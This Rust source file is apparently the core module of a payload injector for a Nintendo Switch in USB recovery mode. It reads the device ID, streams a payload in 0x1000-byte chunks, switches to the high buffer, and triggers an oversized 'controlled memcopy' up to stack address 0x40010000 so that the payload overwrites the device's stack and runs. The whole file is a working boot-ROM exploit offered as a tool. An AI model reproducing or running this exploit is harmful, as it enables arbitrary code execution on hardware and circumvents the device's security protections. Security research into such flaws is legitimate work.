1use log::{debug, trace};
2
3use crate::Result;
4
5use crate::buffer::BufferState;
6use crate::device::{Device, DeviceHandle, SwitchDevice, SwitchHandle};
7use crate::vulnerability::Vulnerability;
8use crate::Payload;
9
10#[derive(Debug, Clone)]
12pub struct Switch {
13 switch: SwitchDevice,
14}
15
16impl Switch {
17 pub(crate) fn new(device: SwitchDevice) -> Self {
20 Self { switch: device }
21 }
22
23 pub fn find() -> Result<Self> {
25 let device = SwitchDevice::find_device()?;
26 Ok(Self { switch: device })
27 }
28
29 pub fn handle(&mut self) -> Result<Handle> {
31 let handle = self.switch.init()?;
32 Ok(Handle {
33 handle,
34 current_buffer: BufferState::Low,
35 total_written: 0,
36 })
37 }
38}
39
40#[derive(Debug)]
43pub struct Handle {
44 handle: SwitchHandle,
45 current_buffer: BufferState,
46 total_written: usize,
47}
48
49impl Handle {
50 pub fn execute(mut self, payload: &Payload) -> Result<()> {
53 let device_id = self.read_device_id()?;
54 trace!("Device ID: {:?}", device_id);
55
56 self.write(payload.data())?;
57 self.switch_to_highbuf()?;
58
59 self.trigger_controlled_memcopy()
61 }
62
63 fn write(&mut self, buf: &[u8]) -> Result<usize> {
65 const PACKET_SIZE: usize = 0x1000;
66 const MAX_LENGTH: usize = 0x30298;
67
68 assert!(buf.len() <= MAX_LENGTH);
69
70 let mut remaining_buf = buf;
71 let mut length_remaining = buf.len();
72
73 let mut written = 0;
74
75 while length_remaining != 0 {
76 let data_to_transmit = length_remaining.min(PACKET_SIZE);
77 length_remaining -= data_to_transmit;
78
79 let chunk = &remaining_buf[..data_to_transmit];
80 remaining_buf = &remaining_buf[data_to_transmit..];
81 match self.write_buffer(chunk) {
82 Ok(size) => written += size,
83 Err(e) => return Err(e),
84 };
85 }
86 self.total_written += written;
88
89 Ok(written)
90 }
91
92 fn switch_to_highbuf(&mut self) -> Result<()> {
93 if self.current_buffer != BufferState::High {
94 let buf = &[b'\0'; 0x1000];
95 self.write(buf)?;
96 }
97 Ok(())
98 }
99
100 fn trigger_controlled_memcopy(&self) -> Result<()> {
101 const STACK_END: usize = 0x40010000;
102 debug!(
103 "Wrote a total of {} bytes to the switch, performing the controlled memcopy",
104 self.total_written
105 );
106
107 let length = STACK_END - self.current_buffer.address();
108 self.handle.trigger(length)?;
109 Ok(())
110 }
111
112 fn read_device_id(&mut self) -> Result<[u8; 16]> {
115 let mut buf = [b'\0'; 16];
116 self.read(&mut buf)?;
117 Ok(buf)
118 }
119
120 fn write_buffer(&mut self, buf: &[u8]) -> Result<usize> {
121 self.current_buffer.toggle();
122 let written = self.handle.write(buf)?;
123 Ok(written)
124 }
125
126 fn read(&mut self, buf: &mut [u8]) -> Result<usize> {
129 let read = self.handle.read(buf)?;
130 Ok(read)
131 }
132}